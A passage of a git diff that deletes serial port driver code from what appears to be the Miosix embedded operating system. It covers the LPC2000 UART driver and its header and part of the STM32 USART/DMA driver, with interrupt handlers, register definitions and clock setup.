buffer, and we always want the CTI interrupt - for(int i=0;iRBR)==false) /*fifo overflow*/; - wakeup=true; - idle=false; - break; - case 0xc: //CTI - while(serial->LSR & (1<<0)) - if(rxQueue.tryPut(serial->RBR)==false) /*fifo overflow*/; - wakeup=true; - idle=true; - break; - case 0x2: //THRE - for(int i=0;iIRQwakeup(); - if(txWaiting->IRQgetPriority()> - Thread::IRQgetCurrentThread()->IRQgetPriority()) hppw=true; - txWaiting=nullptr; - } - if(txQueue.tryGet(c)==false) break; //If software queue empty, stop - serial->THR=c; - } - break; - } - if(wakeup && rxWaiting) - { - rxWaiting->IRQwakeup(); - if(rxWaiting->IRQgetPriority()> - Thread::IRQgetCurrentThread()->IRQgetPriority()) hppw=true; - rxWaiting=nullptr; - } - if(hppw) Scheduler::IRQfindNextThread(); -} - -LPC2000Serial::~LPC2000Serial() -{ - waitSerialTxFifoEmpty(); - - InterruptDisableLock dLock; - //Disable UART0 - serial->LCR=0;//DLAB disabled - serial->FCR=0; - - int id=0; - if(ports[0]==this) id=0; - else if(ports[1]==this) id=1; - else errorHandler(UNEXPECTED); - ports[id]=0; - - if(id==0) - { - //Disable VIC - VICIntEnClr=(1<<6); - //Disable PIN - PINSEL0&=~(0xf);//Clear bits 0 to 3 of PINSEL0 - } else { - //Disable VIC - VICIntEnClr=(1<<7); - //Disable PIN - PINSEL0&=~(0xf0000);//Clear bits 16 to 19 of PINSEL0 - } -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/serial_lpc2000.h b/miosix/arch/common/drivers/serial_lpc2000.h deleted file mode 100644 index 7a624cf8d..000000000 --- a/miosix/arch/common/drivers/serial_lpc2000.h +++ /dev/null @@ -1,185 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013, 2014 * - * by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SERIAL_LPC2000_H -#define SERIAL_LPC2000_H - -#include "filesystem/console/console_device.h" -#include "kernel/sync.h" -#include "kernel/queue.h" -#include "interfaces/delays.h" - -namespace miosix { - -/** - * Serial port class for LPC2000 microcontrollers. - * - * Classes of this type are reference counted, must be allocated on the heap - * and managed through intrusive_ref_ptr - */ -class LPC2000Serial : public Device -{ -public: - /** - * Constructor, initializes the serial port. - * Calls errorHandler(UNEXPECTED) if id is not in the correct range, or when - * attempting to construct multiple objects with the same id. That is, - * it is possible to instantiate only one instance of this class for each - * hardware USART. - * \param id 0=USART0, 1=USART1 - * \param baudrate serial port baudrate. - */ - LPC2000Serial(int id, int baudrate); - - /** - * Read a block of data - * \param buffer buffer where read data will be stored - * \param size buffer size - * \param where where to read from - * \return number of bytes read or a negative number on failure - */ - ssize_t readBlock(void *buffer, size_t size, off_t where); - - /** - * Write a block of data - * \param buffer buffer where take data to write - * \param size buffer size - * \param where where to write to - * \return number of bytes written or a negative number on failure - */ - ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - /** - * Write a string. - * An extension to the Device interface that adds a new member function, - * which is used by the kernel on console devices to write debug information - * before the kernel is started or in case of serious errors, right before - * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. - * \param str the string to write. The string must be NUL terminated. - */ - void IRQwrite(const char *str); - - /** - * Performs device-specific operations - * \param cmd specifies the operation to perform - * \param arg optional argument that some operation require - * \return the exact return value depends on CMD, -1 is returned on error - */ - int ioctl(int cmd, void *arg); - - /** - * \internal the serial port interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleInterrupt(); - - /** - * Destructor - */ - ~LPC2000Serial(); - -private: - /** - * Wait until all characters have been written to the serial port - */ - void waitSerialTxFifoEmpty() - { - while((serial->LSR & (1<<6))==0) ; - - //This delay has been added to fix a quirk on the Miosix board. When - //writing a message to the console and rebooting, if the reboot happens - //too fast with respect to the last character sent out of the serial - //port, the FT232 gets confused and the last charcters are lost, - //probably from the FT232 buffer. Using delayMs() to be callable from IRQ - delayMs(2); - } - - /** - * The registers of the USART in struct form, to make a generic driver - */ - struct Usart16550 - { - //Offset 0x00 - union { - volatile unsigned char RBR; - volatile unsigned char THR; - volatile unsigned char DLL; - }; - char padding0[3]; - //Offset 0x04 - union { - volatile unsigned char IER; - volatile unsigned char DLM; - }; - char padding1[3]; - //Offset 0x08 - union { - volatile unsigned char IIR; - volatile unsigned char FCR; - }; - char padding2[3]; - //Offset 0x0c - volatile unsigned char LCR; - char padding3[3]; - //Offset 0x10 - volatile unsigned char MCR; //Only USART1 has this - char padding4[3]; - //Offset 0x14 - volatile unsigned char LSR; - char padding5[7]; - //Offset 0x1c - volatile unsigned char SCR; - char padding6[19]; - //Offset 0x30 - volatile unsigned char TER; - }; - - //Configure the software queue here - static const int swTxQueue=32;///< Size of tx software queue - - //The hardware queues cannot be modified, since their length is hardware-specific - static const int hwTxQueueLen=16; - static const int hwRxQueueLen=8; - - FastMutex txMutex;///< Mutex used to guard the tx queue - FastMutex rxMutex;///< Mutex used to guard the rx queue - - DynUnsyncQueue txQueue;///< Rx software queue - DynUnsyncQueue rxQueue;///< Rx software queue - Thread *txWaiting; ///< Thread waiting on rx queue - Thread *rxWaiting; ///< Thread waiting on rx queue - bool idle; ///< Receiver idle - - Usart16550 *serial; ///< Serial port registers -}; - -} //namespace miosix - -#endif //SERIAL_LPC2000_H diff --git a/miosix/arch/common/drivers/serial_stm32.cpp b/miosix/arch/common/drivers/serial_stm32.cpp deleted file mode 100644 index 9d6ecf8e0..000000000 --- a/miosix/arch/common/drivers/serial_stm32.cpp +++ /dev/null @@ -1,1403 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include -#include -#include "serial_stm32.h" -#include "kernel/sync.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/portability.h" -#include "filesystem/ioctl.h" -#include "core/cache_cortexMx.h" - -using namespace std; -using namespace miosix; - -//Work around ST renaming register fields for some STM32L4 -#if defined(USART_CR1_RXNEIE_RXFNEIE) && !defined(USART_CR1_RXNEIE) -#define USART_CR1_RXNEIE USART_CR1_RXNEIE_RXFNEIE -#endif -#if defined(USART_ISR_RXNE_RXFNE) && !defined(USART_ISR_RXNE) -#define USART_ISR_RXNE USART_ISR_RXNE_RXFNE -#endif -#if defined(USART_ISR_TXE_TXFNF) && !defined(USART_ISR_TXE) -#define USART_ISR_TXE USART_ISR_TXE_TXFNF -#endif - -#ifdef STM32F030x8 -// On this chip only USART1 exists -#define STM32_NO_SERIAL_2_3 -#endif - -static const int numPorts=3; //Supporting only USART1, USART2, USART3 - -//A nice feature of the stm32 is that the USART are connected to the same -//GPIOS in all families, stm32f1, f2, f4 and l1. Additionally, USART1 is -//always connected to the APB2, while USART2 and USART3 are always on APB1 -//Unfortunately, this does not hold with DMA. -typedef Gpio u1tx; -typedef Gpio u1rx; -typedef Gpio u1cts; -typedef Gpio u1rts; - -typedef Gpio u2tx; -typedef Gpio u2rx; -typedef Gpio u2cts; -typedef Gpio u2rts; - -typedef Gpio u3tx; -typedef Gpio u3rx; -typedef Gpio u3cts; -typedef Gpio u3rts; - -/// Pointer to serial port classes to let interrupts access the classes -static STM32Serial *ports[numPorts]={0}; - -/** - * \internal interrupt routine for usart1 actual implementation - */ -void __attribute__((noinline)) usart1irqImpl() -{ - if(ports[0]) ports[0]->IRQhandleInterrupt(); -} - -/** - * \internal interrupt routine for usart1 - */ -void __attribute__((naked)) USART1_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z13usart1irqImplv"); - restoreContext(); -} - -#if !defined(STM32_NO_SERIAL_2_3) - -/** - * \internal interrupt routine for usart2 actual implementation - */ -void __attribute__((noinline)) usart2irqImpl() -{ - if(ports[1]) ports[1]->IRQhandleInterrupt(); -} - -/** - * \internal interrupt routine for usart2 - */ -void __attribute__((naked)) USART2_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z13usart2irqImplv"); - restoreContext(); -} - -#if !defined(STM32F411xE) && !defined(STM32F401xE) && !defined(STM32F401xC) -/** - * \internal interrupt routine for usart3 actual implementation - */ -void __attribute__((noinline)) usart3irqImpl() -{ - if(ports[2]) ports[2]->IRQhandleInterrupt(); -} - -/** - * \internal interrupt routine for usart3 - */ -#if !defined(STM32F072xB) -void __attribute__((naked)) USART3_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z13usart3irqImplv"); - restoreContext(); -} -#else //!defined(STM32F072xB) -void __attribute__((naked)) USART3_4_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z13usart3irqImplv"); - restoreContext(); -} -#endif //!defined(STM32F072xB) -#endif //!defined(STM32F411xE) && !defined(STM32F401xE) && !defined(STM32F401xC) -#endif //!defined(STM32_NO_SERIAL_2_3) - -#ifdef SERIAL_1_DMA - -/** - * \internal USART1 DMA tx actual implementation - */ -void __attribute__((noinline)) usart1txDmaImpl() -{ - #if defined(_ARCH_CORTEXM3_STM32F1) || defined (_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - DMA1->IFCR=DMA_IFCR_CGIF4; - DMA1_Channel4->CCR=0; //Disable DMA - #elif defined(_ARCH_CORTEXM7_STM32H7) //stm32f2 and f4 - DMA1->HIFCR = DMA_HIFCR_CTCIF7 - | DMA_HIFCR_CTEIF7 - | DMA_HIFCR_CDMEIF7 - | DMA_HIFCR_CFEIF7; - #else //stm32f2 and f4 - DMA2->HIFCR = DMA_HIFCR_CTCIF7 - | DMA_HIFCR_CTEIF7 - | DMA_HIFCR_CDMEIF7 - | DMA_HIFCR_CFEIF7; - #endif - if(ports[0]) ports[0]->IRQhandleDMAtx(); -} - -/** - * \internal USART1 DMA rx actual implementation - */ -void __attribute__((noinline)) usart1rxDmaImpl() -{ - if(ports[0]) ports[0]->IRQhandleDMArx(); -} - -#if defined(_ARCH_CORTEXM3_STM32F1) || defined (_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) -/** - * \internal DMA1 Channel 4 IRQ (configured as USART1 TX) - */ -void __attribute__((naked)) DMA1_Channel4_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 Channel 5 IRQ (configured as USART1 RX) - */ -void __attribute__((naked)) DMA1_Channel5_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1rxDmaImplv"); - restoreContext(); -} - -#elif defined(_ARCH_CORTEXM7_STM32H7) - -/** - * \internal DMA1 stream 7 IRQ (configured as USART1 TX) - */ -void __attribute__((naked)) DMA1_Stream7_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 stream 5 IRQ (configured as USART1 RX) - */ -void __attribute__((naked)) DMA1_Stream5_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1rxDmaImplv"); - restoreContext(); -} - -#else //stm32f2 and stm32f4 - -/** - * \internal DMA2 stream 7 IRQ (configured as USART1 TX) - */ -void __attribute__((naked)) DMA2_Stream7_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA2 stream 5 IRQ (configured as USART1 RX) - */ -void __attribute__((naked)) DMA2_Stream5_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1rxDmaImplv"); - restoreContext(); -} -#endif -#endif //SERIAL_1_DMA - -#if defined(SERIAL_2_DMA) && !defined(STM32_NO_SERIAL_2_3) - -/** - * \internal USART2 DMA tx actual implementation - */ -void __attribute__((noinline)) usart2txDmaImpl() -{ - #if defined(_ARCH_CORTEXM3_STM32F1) || defined (_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - DMA1->IFCR=DMA_IFCR_CGIF7; - DMA1_Channel7->CCR=0; //Disable DMA - #else //stm32f2 and f4 - DMA1->HIFCR = DMA_HIFCR_CTCIF6 - | DMA_HIFCR_CTEIF6 - | DMA_HIFCR_CDMEIF6 - | DMA_HIFCR_CFEIF6; - #endif - if(ports[1]) ports[1]->IRQhandleDMAtx(); -} - -/** - * \internal USART2 DMA rx actual implementation - */ -void __attribute__((noinline)) usart2rxDmaImpl() -{ - if(ports[1]) ports[1]->IRQhandleDMArx(); -} - -#if defined(_ARCH_CORTEXM3_STM32F1) || defined (_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) -/** - * \internal DMA1 Channel 7 IRQ (configured as USART2 TX) - */ -void __attribute__((naked)) DMA1_Channel7_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart2txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 Channel 6 IRQ (configured as USART2 RX) - */ -void __attribute__((naked)) DMA1_Channel6_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart2rxDmaImplv"); - restoreContext(); -} - -#elif defined(_ARCH_CORTEXM7_STM32H7) - -/** - * \internal DMA1 stream 6 IRQ (configured as USART2 TX) - */ -void __attribute__((naked)) DMA1_Stream6_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart2txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 stream 4 IRQ (configured as USART2 RX) - */ -void __attribute__((naked)) DMA1_Stream4_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart2rxDmaImplv"); - restoreContext(); -} - -#else //stm32f2 and stm32f4 - -/** - * \internal DMA1 stream 6 IRQ (configured as USART2 TX) - */ -void __attribute__((naked)) DMA1_Stream6_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart2txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 stream 5 IRQ (configured as USART2 RX) - */ -void __attribute__((naked)) DMA1_Stream5_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart2rxDmaImplv"); - restoreContext(); -} -#endif -#endif //SERIAL_2_DMA - -#if defined(SERIAL_3_DMA) && !defined(STM32_NO_SERIAL_2_3) - -/** - * \internal USART3 DMA tx actual implementation - */ -void __attribute__((noinline)) usart3txDmaImpl() -{ - #if defined(_ARCH_CORTEXM3_STM32F1) || defined (_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - DMA1->IFCR=DMA_IFCR_CGIF2; - DMA1_Channel2->CCR=0; //Disable DMA - #else //stm32f2 and f4 - DMA1->LIFCR = DMA_LIFCR_CTCIF3 - | DMA_LIFCR_CTEIF3 - | DMA_LIFCR_CDMEIF3 - | DMA_LIFCR_CFEIF3; - #endif - if(ports[2]) ports[2]->IRQhandleDMAtx(); -} - -/** - * \internal USART3 DMA rx actual implementation - */ -void __attribute__((noinline)) usart3rxDmaImpl() -{ - if(ports[2]) ports[2]->IRQhandleDMArx(); -} - -#if defined(_ARCH_CORTEXM3_STM32F1) || defined (_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) -/** - * \internal DMA1 Channel 2 IRQ (configured as USART3 TX) - */ -void __attribute__((naked)) DMA1_Channel2_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart3txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 Channel 3 IRQ (configured as USART3 RX) - */ -void __attribute__((naked)) DMA1_Channel3_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart3rxDmaImplv"); - restoreContext(); -} - -#else //stm32f2 and stm32f4 - -/** - * \internal DMA1 stream 3 IRQ (configured as USART3 TX) - */ -void __attribute__((naked)) DMA1_Stream3_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart3txDmaImplv"); - restoreContext(); -} - -/** - * \internal DMA1 stream 1 IRQ (configured as USART3 RX) - */ -void __attribute__((naked)) DMA1_Stream1_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart3rxDmaImplv"); - restoreContext(); -} -#endif -#endif //SERIAL_3_DMA - -namespace miosix { - -#ifdef SERIAL_DMA -#if defined(_ARCH_CORTEXM4_STM32F4) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) -/** - * The STM3F3, STM32F4 and STM32L4 have an ugly quirk of having 64KB RAM area - * called CCM that can only be accessed by the processor and not be the DMA. - * \param x pointer to check - * \return true if the pointer is inside the CCM, and thus it isn't possible - * to use it for DMA transfers - */ -static bool isInCCMarea(const void *x) -{ - unsigned int ptr=reinterpret_cast(x); - return (ptr>=0x10000000) && (ptr<(0x10000000+64*1024)); -} -#else //_ARCH_CORTEXM4_STM32F4 and _ARCH_CORTEXM4_STM32F3 -static inline bool isInCCMarea(const void *x) { return false; } -#endif // _ARCH_CORTEXM4_STM32F4 and _ARCH_CORTEXM4_STM32F3 -#endif //SERIAL_DMA - -// -// class STM32Serial -// - -// A note on the baudrate/500: the buffer is selected so as to withstand -// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. -// So (baudrate/10)*0.02=baudrate/500 -STM32Serial::STM32Serial(int id, int baudrate, FlowCtrl flowControl) - : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), - flowControl(flowControl==RTSCTS), portId(id) -{ - //stm32f1 alternate function mapping does not work like later stm32 chips, - //its only purpose is to change the GPIO pins allocated to a peripherals. - //There is no AF register per pin, but an AF register per peripheral - //with several mutually exclusive mapping options. - //Therefore we don't need to configure AF on stm32f1 for the serial to work - #if !defined(_ARCH_CORTEXM3_STM32F1) - //stm32f2, f4, l4, l1, f7, h7, l0 require alternate function mapping - //stm32f0/l0 family has different alternate function mapping - //with respect to the other families - #if defined(_ARCH_CORTEXM0_STM32F0) - int altFunc = 1; // F0 only - #elif defined(_ARCH_CORTEXM0PLUS_STM32L0) - int altFunc = 4; // L0 only - #else - int altFunc = 7; // everyone else - #endif - switch(id) - { - case 1: - u1tx::alternateFunction(altFunc); - u1rx::alternateFunction(altFunc); - if(flowControl) - { - u1rts::alternateFunction(altFunc); - u1cts::alternateFunction(altFunc); - } - break; - case 2: - u2tx::alternateFunction(altFunc); - u2rx::alternateFunction(altFunc); - if(flowControl) - { - u2rts::alternateFunction(altFunc); - u2cts::alternateFunction(altFunc); - } - break; - case 3: - u3tx::alternateFunction(altFunc); - u3rx::alternateFunction(altFunc); - if(flowControl) - { - u3rts::alternateFunction(altFunc); - u3cts::alternateFunction(altFunc); - } - break; - } - #endif - - switch(id) - { - case 1: - commonInit(id,baudrate,u1tx::getPin(),u1rx::getPin(), - u1rts::getPin(),u1cts::getPin()); - break; - case 2: - commonInit(id,baudrate,u2tx::getPin(),u2rx::getPin(), - u2rts::getPin(),u2cts::getPin()); - break; - case 3: - commonInit(id,baudrate,u3tx::getPin(),u3rx::getPin(), - u3rts::getPin(),u3cts::getPin()); - break; - } -} - -STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx) - : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), - flowControl(false), portId(id) -{ - commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored -} - -STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, - miosix::GpioPin rts, miosix::GpioPin cts) - : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), - flowControl(true), portId(id) -{ - commonInit(id,baudrate,tx,rx,rts,cts); -} - -void STM32Serial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, - GpioPin rts, GpioPin cts) -{ - #ifdef SERIAL_DMA - dmaTx=0; - dmaRx=0; - txWaiting=0; - dmaTxInProgress=false; - #endif //SERIAL_DMA - InterruptDisableLock dLock; - if(id<1|| id>numPorts || ports[id-1]!=0) errorHandler(UNEXPECTED); - ports[id-1]=this; - unsigned int freq=SystemCoreClock; - switch(id) - { - case 1: - port=USART1; - RCC->APB2ENR |= RCC_APB2ENR_USART1EN; - RCC_SYNC(); - #ifdef SERIAL_1_DMA - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - #ifdef _ARCH_CORTEXM4_STM32L4 - RCC->AHB1ENR |= RCC_AHBENR_DMA1EN; - DMA1_CSELR->CSELR |= (2 << DMA_CSELR_C4S_Pos) // Assign DMA1_CH4 to USART1_TX - | (2 << DMA_CSELR_C5S_Pos);// Assign DMA1_CH5 to USART1_RX - #else - RCC->AHBENR |= RCC_AHBENR_DMA1EN; - #endif - RCC_SYNC(); - NVIC_SetPriority(DMA1_Channel4_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA1_Channel4_IRQn); - dmaTx=DMA1_Channel4; - //Higher priority to ensure IRQhandleDMArx() is called before - //IRQhandleInterrupt(), so that idle is set correctly - NVIC_SetPriority(DMA1_Channel5_IRQn,14); - NVIC_EnableIRQ(DMA1_Channel5_IRQn); - dmaRx=DMA1_Channel5; - #elif defined(_ARCH_CORTEXM7_STM32H7) - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; // enabling DMA1 clock - RCC_SYNC(); - // enabling interrupts - dmaRx=DMA1_Stream5; - NVIC_EnableIRQ(DMA1_Stream5_IRQn); - NVIC_SetPriority(DMA1_Stream5_IRQn,14); - dmaTx=DMA1_Stream7; - NVIC_EnableIRQ(DMA1_Stream7_IRQn); - NVIC_SetPriority(DMA1_Stream7_IRQn,15); - // Configuring DMAMUX - DMAMUX1_Channel5->CCR &= ~DMAMUX_CxCR_DMAREQ_ID; - DMAMUX1_Channel5->CCR |= DMAMUX_CxCR_DMAREQ_ID_0 - | DMAMUX_CxCR_DMAREQ_ID_3 - | DMAMUX_CxCR_DMAREQ_ID_5; - DMAMUX1_Channel7->CCR &= ~DMAMUX_CxCR_DMAREQ_ID; - DMAMUX1_Channel7->CCR |= DMAMUX_CxCR_DMAREQ_ID_1 - | DMAMUX_CxCR_DMAREQ_ID_3 - | DMAMUX_CxCR_DMAREQ_ID_5; - #else //stm32f2, stm32f4 - RCC->AHB1ENR |= RCC_AHB1ENR_DMA2EN; - RCC_SYNC(); - NVIC_SetPriority(DMA2_Stream7_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA2_Stream7_IRQn); - dmaTx=DMA2_Stream7; - //Higher priority to ensure IRQhandleDMArx() is called before - //IRQhandleInterrupt(), so that idle is set correctly - NVIC_SetPriority(DMA2_Stream5_IRQn,14); - NVIC_EnableIRQ(DMA2_Stream5_IRQn); - dmaRx=DMA2_Stream5; - #endif - port->CR3=USART_CR3_DMAT | USART_CR3_DMAR; - #endif //SERIAL_1_DMA - NVIC_SetPriority(USART1_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART1_IRQn); - #if !defined(_ARCH_CORTEXM7_STM32H7) && !defined(_ARCH_CORTEXM0_STM32F0) - if(RCC->CFGR & RCC_CFGR_PPRE2_2) freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE2_Pos) & 0x3)+1); - #elif defined(_ARCH_CORTEXM0_STM32F0) - // STM32F0 family has only PPRE2 register - if(RCC->CFGR & RCC_CFGR_PPRE_2) freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE_Pos) & 0x3)+1); - #else - //rcc_hclk3 = SystemCoreClock / HPRE - //rcc_pclk2 = rcc_hclk1 / D2PPRE2 - //NOTE: are rcc_hclk3 and rcc_hclk1 the same signal? - //usart1 clock is rcc_pclk2 - if(RCC->D1CFGR & RCC_D1CFGR_HPRE_3) - freq/=1<<(((RCC->D1CFGR>>RCC_D1CFGR_HPRE_Pos) & 0x7)+1); - if(RCC->D2CFGR & RCC_D2CFGR_D2PPRE2_2) - freq/=1<<(((RCC->D2CFGR>>RCC_D2CFGR_D2PPRE2_Pos) & 0x3)+1); - #endif //_ARCH_CORTEXM7_STM32H7 - break; - - #if !defined(STM32_NO_SERIAL_2_3) - case 2: - port=USART2; - #ifndef _ARCH_CORTEXM7_STM32H7 - #ifndef _ARCH_CORTEXM4_STM32L4 - RCC->APB1ENR |= RCC_APB1ENR_USART2EN; - #else //_ARCH_CORTEXM4_STM32L4 - RCC->APB1ENR1 |= RCC_APB1ENR1_USART2EN; - #endif //_ARCH_CORTEXM4_STM32L4 - #else //_ARCH_CORTEXM7_STM32H7 - RCC->APB1LENR |= RCC_APB1LENR_USART2EN; - #endif //_ARCH_CORTEXM7_STM32H7 - RCC_SYNC(); - #ifdef SERIAL_2_DMA - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - #ifdef _ARCH_CORTEXM4_STM32L4 - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; - DMA1_CSELR->CSELR |= (2 << DMA_CSELR_C7S_Pos) // Assign DMA1_CH7 to USART2_TX - | (2 << DMA_CSELR_C6S_Pos);// Assign DMA1_CH6 to USART2_RX - #else - RCC->AHBENR |= RCC_AHBENR_DMA1EN; - #endif - RCC_SYNC(); - NVIC_SetPriority(DMA1_Channel7_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA1_Channel7_IRQn); - dmaTx=DMA1_Channel7; - //Higher priority to ensure IRQhandleDMArx() is called before - //IRQhandleInterrupt(), so that idle is set correctly - NVIC_SetPriority(DMA1_Channel6_IRQn,14); - NVIC_EnableIRQ(DMA1_Channel6_IRQn); - dmaRx=DMA1_Channel6; - #elif defined(_ARCH_CORTEXM7_STM32H7) - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; // enabling DMA1 clock - RCC_SYNC(); - // enabling interrupts - dmaRx=DMA1_Stream4; - NVIC_EnableIRQ(DMA1_Stream4_IRQn); - NVIC_SetPriority(DMA1_Stream4_IRQn,14); - dmaTx=DMA1_Stream6; - NVIC_EnableIRQ(DMA1_Stream6_IRQn); - NVIC_SetPriority(DMA1_Stream6_IRQn,15); - // Configuring DMAMUX - DMAMUX1_Channel4->CCR &= ~DMAMUX_CxCR_DMAREQ_ID; - DMAMUX1_Channel4->CCR |= DMAMUX_CxCR_DMAREQ_ID_0 - | DMAMUX_CxCR_DMAREQ_ID_1 - | DMAMUX_CxCR_DMAREQ_ID_3 - | DMAMUX_CxCR_DMAREQ_ID_5; - DMAMUX1_Channel6->CCR &= ~DMAMUX_CxCR_DMAREQ_ID; - DMAMUX1_Channel6->CCR |= DMAMUX_CxCR_DMAREQ_ID_2 - | DMAMUX_CxCR_DMAREQ_ID_3 - | DMAMUX_CxCR_DMAREQ_ID_5; - #else //stm32f2, stm32f4 - RCC->AHB1ENR |= RCC_AHB1ENR_DMA1EN; - RCC_SYNC(); - NVIC_SetPriority(DMA1_Stream6_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(DMA1_Stream6_IRQn); - dmaTx=DMA1_Stream6; - //Higher priority to ensure IRQhandleDMArx() is called before - //IRQhandleInterrupt(), so that idle is set correctly - NVIC_SetPriority(DMA1_Stream5_IRQn,14); - NVIC_EnableIRQ(DMA1_Stream5_IRQn); - dmaRx=DMA1_Stream5; - #endif - port->CR3=USART_CR3_DMAT | USART_CR3_DMAR; - #endif //SERIAL_2_DMA - NVIC_SetPriority(USART2_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART2_IRQn); - #if !defined(_ARCH_CORTEXM7_STM32H7) && !defined(_ARCH_CORTEXM0_STM32F0) - if(RCC->CFGR & RCC_CFGR_PPRE1_2) freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE1_Pos) & 0x3)+1); - #elif defined(_ARCH_CORTEXM0_STM32F0) - // STM32F0 family has only PPRE2 register - if(RCC->CFGR & RCC_CFGR_PPRE_2) freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE_Pos) & 0x3)+1); - #else //_ARCH_CORTEXM7_STM32H7 - //rcc_hclk3 = SystemCoreClock / HPRE - //rcc_pclk1 = rcc_hclk1 / D2PPRE1 - //NOTE: are rcc_hclk3 and rcc_hclk1 the same signal? - //usart2 clock is rcc_pclk1 - if(RCC->D1CFGR & RCC_D1CFGR_HPRE_3) - freq/=1<<(((RCC->D1CFGR>>RCC_D1CFGR_HPRE_Pos) & 0x7)+1); - if(RCC->D2CFGR & RCC_D2CFGR_D2PPRE1_2) - freq/=1<<(((RCC->D2CFGR>>RCC_D2CFGR_D2PPRE1_Pos) & 0x3)+1); - #endif 